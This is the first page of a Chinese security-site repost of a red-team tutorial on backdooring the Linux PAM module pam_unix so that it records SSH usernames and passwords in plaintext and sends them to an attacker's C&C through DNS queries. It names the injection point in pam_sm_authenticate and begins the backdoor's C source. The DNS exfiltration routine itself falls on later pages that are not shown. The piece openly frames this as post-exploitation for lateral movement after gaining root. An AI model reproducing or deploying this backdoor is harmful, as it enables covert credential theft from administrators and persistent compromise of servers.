欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

通过 PAM 后门和 DNS 请求来泄漏用户凭据

来源:本站整理 作者:佚名 时间:2018-07-07 TAG: 我要投稿

也许在渗透和红队中使用的最著名的Post-Exploitation技术之一,就是在PAM生态系统中打开后门来收集有效的凭证。通过后门获取的证书将帮助我们轻松地实现机器之间的横向移动。我们可以通过不同的选择来实现这一目标。
一个有趣的变化是将这种技术与传统的DNS数据渗漏技术(DNS exfiltration)相结合,这样我们就可以将凭据发送到我们的C&C,而无需担心防火墙和通信规则。我们只需要向机器使用的DNS服务器发送一个DNS请求,然后它将被转发到其他DNS服务器,并且在某个时候该请求将攻击我们的权威DNS服务器。所以我们可以用这个众所周知的渠道默默地取回凭证。
我们的路线图非常简单:添加一个自定义PAM模块,该模块以明文记录凭证,并通过DNS解析将其发送到我们的C&C。
顺便提一下:即使这是一个古老而著名的策略,它仍然是一个非常酷的来显示所需的文件完整性控件的方式。获取服务器根权限,等待管理员或操作员通过SSH登录并享受吧!
 
0x01 修改pam_unix_auth.c
(我们不会解释PAM是什么或者它是如何工作的。要获得有关PAM的更深入的信息,请使用man)。
为了检索明文中的用户和密码,我们将把有效的pam_unix.so模块替换为我们修改过的模块。如果我们检查原始模块的源代码(从这里下载安装在目标服务器上的PAM版本的源代码),我们可以在pam_unix_Auth.c文件中看到一个名为pam_sm_certiate的函数,并且在这个函数中调用_unix_Version_Password,其中的参数是身份验证中使用的用户名和密码:
// (...)
    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;
    AUTH_RETURN;
}
// (...)
因此,在这一点上注入我们的过滤逻辑看起来很好。作为PoC,我们可以使用这段代码(SilverMoon-29/4/2009),所以主要的外排逻辑还没有实现(这段代码有一些缺陷-例如,它没有将服务器IP从Resolv.conf-…中取走) 因此,如果要在真正的渗透中使用它,需要改进代码;D)。让vim文件pam_unix_Auth.c添加所需的函数和头文件!:
/* Fun starts here :)
 * pam_sm_authenticate() performs UNIX/shadow authentication
 *
 *      First, if shadow support is available, attempt to perform
 *      authentication using shadow passwords. If shadow is not
 *      available, or user does not have a shadow password, fallback
 *      onto a normal UNIX authentication
 */
/* Backdoor  - DNS code extracted from https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168 */
// The code sucks a lot. It is Sunday and I have a hangover, so I am not in the mood to fix it.
// Tons of bug and useless code that you should remove. Forgive me, please :)
#include
#include
#include
//List of DNS Servers registered on the system
char dns_servers[10][100];
int dns_server_count = 0;
//Types of DNS resource records :)
#define T_A 1 //Ipv4 address
#define T_NS 2 //Nameserver
#define T_CNAME 5 // canonical name
#define T_SOA 6 /* start of authority zone */
#define T_PTR 12 /* domain name pointer */
#define T_MX 15 //Mail server
//Function Prototypes
void ngethostbyname (unsigned char* , int);
void ChangetoDnsNameFormat (unsigned char*,unsigned char*);
unsigned char* ReadName (unsigned char*,unsigned char*,int*);
void get_dns_servers();
//DNS header structure
struct DNS_HEADER
{
    unsigned short id; // identification number
    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritive answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag
    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available
    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};
//Constant sized fields of query structure
struct QUESTION
{
    unsigned short qtype;
    unsigned short qclass;
};
//Constant sized fields of the resource record structure
#pragma pack(push, 1)
struct R_DATA
{
    unsigned short type;
    unsigned short _class;
    unsigned int ttl;
    unsigned short data_len;
};
#pragma pack(pop)
//Pointers to resource record contents
struct RES_RECORD
{
    unsigned char *name;
    struct R_DATA *resource;
    unsigned char *rdata;

[1] [2] [3] [4] [5] [6]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载